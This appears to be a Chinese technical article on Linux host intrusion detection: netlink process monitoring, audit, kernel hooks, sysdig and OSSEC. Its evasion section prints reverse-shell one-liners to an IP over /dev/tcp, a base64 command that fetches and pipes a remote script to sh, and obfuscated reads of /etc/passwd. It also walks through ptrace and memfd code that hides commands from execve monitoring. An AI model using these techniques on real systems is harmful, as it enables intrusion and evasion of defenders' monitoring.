Netlink 是一个套接字家族(socket family),它被用于内核与用户态进程以及用户态进程之间的 IPC 通信,ss命令就是通过 Netlink 与内核通信获取的信息。
Netlink Connector 是一种 Netlink ,它的 Netlink 协议号是NETLINK_CONNECTOR。源代码由3部分组成:
- connectors.c、cnqueue.c:是 Netlink Connector 的实现代码
- cnproc.c:是一个应用,实例名为进程事件连接器,我们可以通过该连接器来实现对进程创建的监控。
以进程监控为例,监控架构方案如下:
- Linux内核提供连接器模块与进程事件收集机制,无需任何改动,只需要在linux>2.6.14开启即可。操作系统默认会将进程/网络/文件事件广播给对应的connector。
- 监控系统开发者需要在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink事件消息
2. 绕过(anti-monitor)监控手段
1)高频并发进程启动丢包风险
需要注意的是,netlink监控的进程启动事件仅能获取到 pid,详细信息需要查/proc/pid/,这就存在时间差,可能有数据丢失。
2)命令行(cmdline)混淆绕过攻击
攻击者可以利用bash、python等git脚本语言的一些特性,对攻击payload进行一些编码转化、拼接处理、命令补全,以尝试绕过HIDS的检测规则,例如:
- rsync -rv /bin/bash /tmp/httpd;/tmp/http*<>-v<>-i >& /d''e''v/''t""c``p/3""9.10''7.7``4.42/da''ytime 0>&1
- "exec('aW1wb3J0""IG1hdGg7YT0xMDtiPW1hdGgubG9n""KGEpO3ByaW50KGIpOwo='.decode('base64'*1))"
- /usr/bin/wh?
- cat $(echo /e)tc$(echo /pa*)wd
- cat /et$'c/pau0000/notexist/path'sswd
- test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hh??hm/};
命令行执行的字符串拼接会在/proc/pid/cmdline这里呈现出解析归一化后的内容,实际上bash自动默认做了一层预处理,所以基于“netlink+/proc/pid/”的技术方案不存在命令行编码绕过问题。
但是这里要注意的是,如果黑客将bash指令放置在xxx.sh文件中,对文本av的检测挑战就会很大,对恶意落盘文件的检测这个环节,会带来很大的绕过对抗风险。
但从整体HIDS入侵检测角度来看,xxx.sh中的代码还是会在系统中得以执行,对进程异常指令行为检测这个环节的挑战会相对低一些。
3)管道符(pipe)绕过命令行检测
- bash -i >& /dev/tcp/192.168.1.1/2333 0>&1
因为管道符的存在,像netlink这种进程监控方案会采集失败会采集到不完整的命令行.
使用netlink实现进程启动监控的例子可以参阅这篇文章。
4)进程名混淆绕过命令行检测【假日志绕过思路】
我们可以把要执行的命令(例如ls)文件使用memfd_create写到内存中,然后在内存中使用execve执行,那看到的不是 ls,而是执行的 /proc/self/fd/%d ,从而实现了进程名称混淆和无文件。
关于这方面的详细讨论,可以参阅这篇文章。
5)基于ptrace调试机制篡改进程参数,避开基于execve系统调用监控的命令日志【暗度陈仓】
这里对主要原理进行分析,
5.1)定义了需要执行的实际命令
char *args[] = { "/bin/ls", "-a", "-l", NULL };
5.2)fork创建子进程,修改进程参数
child = fork(); IFMSG(child == -1, 0, "fork"); IF(child == 0, proc_child(args[0], args)); MSG("child pid = %d ", child); while(1) { wait(&status); if(WIFEXITED(status)) break; ptrace(PTRACE_GETREGS, child, NULL, ®s); .... static char *encryptedarg = "3abb6677af34ac57c0ca5828fd94f9d886c" "26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523" "eed7511e5a9e4b8ccb3a4686"; int proc_child(const char *path, char *argv[]) { int i = 1; ptrace(PTRACE_TRACEME, 0, NULL, NULL); ... }
对于fork出子进程的代码来说,我们需要用双进程的视角来看,上述代码在fork()调用之后,就会在父进程和子进程中分别开始执行。
## 父进程调试子进程
- 父进程通过”fork()“创建一个子进程后,就通过”while(1)“无限循环。
- 每一次循环中,都调用”wait(&status)“,等待内核传来的”PTRACE中断回调信号(SIG_CHLD)“。
- 子进程执行 execve() 之后,会进入暂停状态,把控制权转给它的父进程(SIG_CHLD信号)
- 父进程收到SIG_CHLD信号后,父进程的 wait() 会返回,父进程就可以去查看子进程的寄存器或者对子进程做其它的事情了
## 子进程启动
- 调动”fork()“之后,子进程从相同的代码区域开始执行
- 随后子进程执行proc_child(args[0], args)
- 子进程执行”ptrace(PTRACE_TRACEME, 0, NULL, NULL)“,这个调用是为了告诉内核,当前进程已经正在被 traced,当子进程执行 execve() 之后,子进程会进入暂停状态,把控制权转给它的父进程(SIG_CHLD信号)
- 开始循环遍历所有参数(从索引1开始,跳过path),正常情况下,原始的进程参数如下:
- path:/bin/ls
- argv[]:char args[] = { "/bin/ls", "-a", "-l", NULL }
- 经过for循环之后,path和argv变为了:
- path:/bin/ls
- argv[]:char args[] = { "/bin/ls","3abb6677af34ac5.........","3abb6677af34ac5.........",NULL }
## 子进程通过内存匿名文件启动进程
int proc_child(const char *path, char *argv[])
{
...
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
for(i = 1;argv[i] != NULL;i ++)
argv[i] = encryptedarg;
anonyexec(path, argv);
return 0;
}
- 随后子进程调用anonyexec(path, argv),
- 读取原始参数”path“的磁盘程序代码,并写入内存匿名文件(/proc/self/fd/%d)中
- 调用execve执行该内存匿名文件,最终执行的就是/proc/self/fd/3 3abb6677....... 3abb6677.......
- 其中的/proc/self/fd/3就是/bin/ls
- 而参数是我们任意修改的用于混淆HIDS的字符串
注意:
到这里,实际上这里执行的是/bin/ls,但其实proc_child()里可以实现任意shellcode,不仅仅限于原始的指令进程。
5.3)父进程收到子进程execve执行结束后的调试中断信号,修改子进程寄存器相关信息
父进程收到子进程的“PTRACE_TRACEME信号”后,父进程的 wait() 会返回。随后父进程开始查看和子进程的寄存器和命令行参数。
## 确认执行ls【确认劫持目标】
因为当前系统可能有很多子进程都在被trace,而我们要混淆的指令进程只有”ls“,所以父进程第一步是要检查当前触发trace信号的子进程是否是自己的目标劫持对象。注意,这里的ls可以是任意其他的指令进程。
uint64_t entry = elfentry(args[0]); //_start: entry point .... ptrace(PTRACE_GETREGS, child, NULL, ®s); if(regs.rip == entry) { .....
- uint64_t entry = elfentry(args[0]):其中的args[0]就是/bin/ls,所以entry其实就是得到/bin/ls的entry
- ptrace(PTRACE_GETREGS, child, NULL, ®s):获取child进程的寄存器的值,并将其保存到®s中,®s是一个user_regs_struct类型的结构体
- if(regs.rip == entry) 这个的含义就是判断如果判断当前的执行的进程如果是正在执行/bin/ls,则进入到下面的处理流程中
## 获取参数个数
//解析堆栈数据,栈顶为int argc addr = regs.rsp; arc = ptrace(PTRACE_PEEKTEXT, child, addr, NULL);
ptrace(PTRACE_PEEKDATA, pid, addr, data),从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,所以上面就是获取栈顶数据,就是参数个数。
## 修改参数值
//开始解析和修改参数 for(i = 1;i < arc;i ++) { argaddr = ptrace(PTRACE_PEEKTEXT, child, addr + (i * sizeof(void*)), NULL); data.val = ptrace(PTRACE_PEEKTEXT, child, argaddr, NULL); MSG("src: ubp_av[%d]: %s ", i, data.chars); MSG("dst: upb_av[%d]: %s ", i, args[i]); //修改参数指针指向的内容,demo暂时不支持超过7个字符的参数 strncpy(data.chars, args[i], sizeof(long) - 1); ptrace(PTRACE_POKETEXT, child, argaddr, data.val); }
- 由于第一个参数args[0]的值是/bin/ls,并不需要进行修改。在前面fork创建子进程的这一章节中,args[1]和args[2]的参数都是3abb6677.......
- 通过ptrace()获取到寄存器中的值,实际就是3abb6677.......,利用strncpy(data.chars, args[i], sizeof(long) - 1); 进行修改,将”3abb6677.......“修改回”-a“和”-l“参数
- 调用ptrace(PTRACE_POKETEXT, child, argaddr, data.val):写回寄存器
- 以上三步就修改了寄存器中的值,由原来的3abb6677....... 分别修改为了-a 和-l。
- 这样,子进程现在的实际进程指令就变成了”/bin/ls -a -l“
- 最后调用ptrace(PTRACE_CONT/PTRACE_DETACH/PTRACE_SINGLESTEP, child, NULL, NULL),结束父进程的本次整个ptrace的操作。即相当于父进程结束ptrace调试。将CPU控制权交回给子进程。
这样,子进程继续执行原始指令,即”ls -a -l“,在控制台上就看到了预期的输出结果。
总结一下:
- 基于fork,形成父子进程关系,为指令隐藏提供了空间
- 子进程利用tmp_fs技术,实现了一次无文件execve,这一步为隐藏shellcode的执行提供了机会,tmp_fs的作用了绕过execve的cmdline监控
- 利用ptrace机制,在隐藏shellcode执行后,通过execve(tmp_fs)触发了一次父进程的调试,将进程参数修改回原始参数,使原始指令得以正常执行
可以简单的理解为,在原本一次”ls -a -l“的指令执行期间,插入了一段隐藏shellcode的执行,且不影响最终的指令执行结果,同时又绕过了execve的监控机制。
本质上来说,这项技术组合了两种技术:
- 基于ptrace的指令注入技术:ptrace可以劫持任意进程,在中间插入我们需要执行的隐藏代码逻辑
- 基于tmp_fs的无文件shellcode执行技术:tmp_fs是shellcode fileless攻击技术
源代码在这里,demo效果如下:
make gcc -Wall -c ptrace.c -o ptrace.o gcc -Wall -c anonyexec.c -o anonyexec.o gcc -o ptrace ptrace.o anonyexec.o elfreader.o ls -a -l ./ptrace
可以看到,”ls -a -l“指令正常执行了,但是从netlink的execve监控上看,只能看到有一个二进制程序/脚本启动,随后新启动了一个进程,进程的参数是一段修改后的乱码参数。
Relevant Link:
https://4hou.win/wordpress/?p=29586 https://github.com/QAX-A-Team/ptrace http://www.polaris-lab.com/index.php/archives/667/#comment-81 https://github.com/QAX-A-Team/ptrace/blob/master/ptrace.c https://github.com/QAX-A-Team/ptrace/blob/master/anonyexec.c https://mp.weixin.qq.com/s/fx3ywEZiXEUStbrtzbpwrQ
6)基于管道/重定向符躲避execve监控
”管道符“和”重定向符“会被bash内部先被解释处理,所以在命令行中如果通过管道符传递指令的解析执行,是不会被execve监控到的。
- echo "Y3VybCAxMTAuNzIuMTI0LjEyL3guc2ggfCBzaA==" >> tmp_fs; cat tmp_fs | base64 -d >> tmp_cmd; cat tmp_cmd | sh;
- curl www.baidu.com | sh
0x2:基于fnotify的文件落盘行为监控
1. 系统/敏感文件变动监控
ossec的real-time(实时监控)就是基于该技术实现的文件变动事件监控。
2. ssh登录日志监控
通过对/var/log/secure的变动监控,实时获取最新的ssh login行为日志
8. 基于Linux Kernel原生callback/notification机制(Ring0)的监控
0x1:Audit
audit是linux内核原生集成的一个子系统(subsystem),用于记录系统中的各种动作和事件,例如:
- Monitoring system calls:系统调用
- Watching file access:文件访问/修改
- Recording commands run by a user:执行的程序
- Recording security events:例如系统登入登出和记录
- Monitoring network access:网络外连记录
它的主要目的是方便管理员根据日记审计系统是否允许有异常,是否有入侵等等。
- 用户通过用户态的管理进程配置规则(例如图中的 go-audit ,也可替换为常用的 auditd ),并通过 Netlink 套接字通知给内核。
- 内核中的 kauditd 通过 Netlink 获取到规则并加载。
- 应用程序在调用系统调用和系统调用返回时都会经过 kauditd ,kauditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。
- 用户态进程解析事件日志并输出。
Relevant Link:
https://github.com/linux-audit/audit-kernel
https://blog.csdn.net/whuzm08/article/details/87267956
9. 基于Linux Kernel Hook机制(Ring0)的监控
0x1:Kernel syscall table hook劫持
1. 监控方案
参阅这篇文章。
2. 绕过(anti-monitir)对抗技术
内核层的syscall table是一个完全开放的数据结构,不论是monitor还是malware/backdoor,主要能进入到内核(加载了驱动),都可以去修改劫持这个syscall导出表,作为后门病毒,同样也可以通过劫持攻击,来躲避监控软件的监控。
当然,作为防御方,也可以作出如下应对:
- 监控落盘的.ko文件,检测是否为backdoor后门
- 监控insmod syscall,对驱动的加载行为进行管控
0x2:利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook
参阅这篇文章。
0x3:LSM(linux security module) Security钩子技术(linux原生机制)
1. 监控方案
参阅这篇文章。
2. 绕过(anti-monitir)对抗技术
参阅这篇文章。
Relevant Link:
https://www.cnblogs.com/LittleHann/p/3854977.html
10. 基于定时扫描日志采集机制(Ring3)的监控
0x1:定时文件md5扫描
11. 全套开源日志采集方案
0x1:sysdig
1. 基本介绍
sysdig不是某项具体技术,sysdig是一个开源系统发掘工具,用于系统级别的勘察和排障,可以看作监控和分析的工具组合。我们可以把它看作一系列传统的 unix 系统工具的组合,主要包括:
- strace:追踪某个进程产生和接收的系统调用
- tcpdump:分析网络数据,监控原始网络通信
- lsof: 列出打开的文件
- top:监控系统性能工具
- htop :交互式的进程浏览器,可以用来替换 top 命令
- iftop :主要用来显示本机网络流量情况及各相互通信的流量集合
- lua:一个小巧的脚本语言。该语言的设计目的是为了嵌入应用程序中,从而为应用程序提供灵活的扩展和定制功能
sysdig工作方式分成用户空间和内核空间两个部分,结构如下图所示:
数据的捕获流程分为如下5部分:
- 在内核有一个组件叫 sysdig-probe,也可以把它称为数据探头,它通过跟踪 linux 内核来进行数据抓获。
- 事件缓冲器(event buffer)用来把存储器映射到用户空间。
- scap 组件:用来进行捕获控制和转储文件,以及数据的状态采集。
- sinsp 组件:用来进行事件分析、执行凿子(chisel),设置过滤和输出格式化。
- sysdig 工具:在命令行解析采集的数据。sysdig-probe从内核捕获的数据会非常大的,用户空间里的scap,sinsp,sysdig组件可能会出现处理不过来的情况。在这种情况下,事件缓冲区填满,sysdig-probe开始丢弃传入的事件。因此,将丢失一些跟踪信息,但机器上运行的其他进程不会减慢速度,这是sysdig架构的关键优势,意味着跟踪开销可预测。
2. 基本用法
sudo sysdig
先来解释一下它的输出格式,所有的输入都是按照行来分割的,每行都是一条记录,由多个列组成,默认的格式是:
%evt.num %evt.outputtime %evt.cpu %proc.name (%thread.tid) %evt.dir %evt.type %evt.info
各个字段的含义如下:
- evt.num: 递增的事件号
- evt.time: 事件发生的时间
- evt.cpu: 事件被捕获时所在的 CPU,也就是系统调用是在哪个 CPU 执行的。比较上面的例子中,值 0 代表机器的第一个 CPU
- proc.name: 生成事件的进程名字,也就是哪个进程在运行
- thread.tid: 线程的 id,如果是单线程的程序,这也是进程的 pid
- evt.dir: 事件的方向(direction),> 代表进入事件,< 代表退出事件
- evt.type: 事件的名称,比如 open、stat等,一般是系统调用
- evt.args: 事件的参数。如果是系统调用,这些对应着系统调用的参数
原生的sysdig输出的日志非常多,在实际的入侵排查过程中,我们需要使用filter功能,从海量日志中筛选出想要的日志。
完整的 sysdig 使用方法如下:
sysdig [option]... [filter]
sysdig 的过滤功能很强大,不仅支持的过滤项很多,而且还能够自由地进行逻辑组合。
- fd: 对文件描述符(file descriptor)进行过滤,比如
- fd 标号(fd.num)
- fd 名字(fd.name)
- process: 进程信息的过滤,比如
- 进程 id(proc.id)
- 进程名(proc.name)
- evt: 事件信息的过滤,比如
- 事件编号
- 事件名
- user: 用户信息的过滤,比如
- 用户 id
- 用户名
- 用户 home 目录
- 用户的登录 shell(user.shell)
- syslog: 系统日志的过滤,比如
- 日志的严重程度
- 日志的内容
- fdlist: poll event 的文件描述符的过滤
完整的过滤器列表可以使用sysdig -l来查看,比如可以查看建立 TCP 连接的事件:
sudo sysdig evt.type=accept
过滤器除了直接的相等比较之外,还有其他操作符,包括=、!=、>=、>、<、<=、contains、in 和 exists,
$ sysdig fd.name contains /etc $ sysdig "evt.type in ( 'select', 'poll' )" $ sysdig proc.name exists $ sysdig "not (fd.name contains /proc or fd.name contains /dev)"
Relevant Link:
https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004208&idx=1&sn=5e223beffe0b63314dc6a1e61d73aa2b&chksm=8cf13b72bb86b264caebe1af5a194ac2068e03a43d591ed7be592b37ead94a3c916f9ce23f91&scene=21#wechat_redirect
0x2:OSSSEC
入侵检测中有多种类型的攻击和许多攻击向量,但它们都有一个独特之处:它们或多或少都会留下一些文件修改的痕迹,例如:
- 修改一些文件的病毒
- 改变内核的内核级rootkit
- 添加持久化的后门程序
这些攻击向量都会对系统的完整性带来一些改变。
OSSSEC的一个核心功能是”Integrity checking(完整性检查)“ ,它是入侵检测的重要组成部分,它检测系统完整性的变化。
OSSEC通过在系统和Windows注册表中查找密钥文件的MD5/SHA1校验和中的更改来实现这一点,实现方式分为定时扫描和实时监控两种:
- 定时扫描:每隔几个小时(用户定义)扫描一次系统,并将所有校验和发送到服务器。服务器存储校验和并查找对它们的修改。如果有任何变化,将发送警报。
- 实时监控:实时监控文件的修改/添加/删除变动
Relevant Link:
https://www.ossec.net/docs/manual/syscheck/index.html